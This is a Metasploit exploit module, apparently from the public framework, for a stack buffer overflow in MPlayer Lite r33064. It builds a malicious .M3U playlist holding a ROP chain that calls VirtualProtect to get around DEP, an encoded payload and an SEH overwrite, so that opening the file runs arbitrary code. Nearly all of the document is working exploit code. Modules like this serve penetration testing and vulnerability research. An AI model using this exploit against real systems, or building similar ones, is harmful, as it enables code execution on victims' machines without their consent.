## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MPlayer Lite M3U Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in MPlayer Lite r33064, caused by improper bounds checking of an URL entry. By persuading the victim to open a specially-crafted .M3U file, specifically by drag-and-dropping it to the player, a remote attacker can execute arbitrary code on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit 'Gabor Seljan', # Metasploit module ], 'References' => [ [ 'BID', '46926' ], [ 'EDB', '17013' ], [ 'URL', 'http://www.mplayer-ww.com/eng/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c", 'Space' => 5040 }, 'Targets' => [ [ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064', { 'Offset' => 21, 'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll] } ], ], 'Privileged' => false, 'DisclosureDate' => '2011-03-19', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) ], self.class) end def junk return rand_text_alpha(4).unpack("V").first end def nops return make_nops(4).unpack("V").first end def exploit # ROP chain generated by mona.py - See corelan.be rop_gadgets = [ 0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll] 0x10018fc3, # &CALL ESP [unrar.dll] 0x64984a70, # POP EAX # RETN [avformat-52.dll] 0xffffec4f, # Value to negate, will become 0x00005040 0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll] 0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll] junk, junk, 0x1001d154, # POP EAX # RETN [unrar.dll] 0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll] 0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll] 0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll] 0x6b02836d, # POP EAX # RETN [avcodec-52.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll] 0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll] 0x1001bad6, # POP ECX # RETN [unrar.dll] 0x649eab48, # &Writable location [avformat-52.dll] 0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll] 0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll] 0x64984a70, # POP EAX # RETN [avformat-52.dll] nops, 0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll] ].flatten.pack('V*') sploit = rand_text_alpha_upper(target['Offset']) sploit << rop_gadgets sploit << payload.encoded sploit << generate_seh_record(target.ret) sploit << rand_text_alpha_upper(1000) # Generate exception # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") file_create("http://" + sploit) end end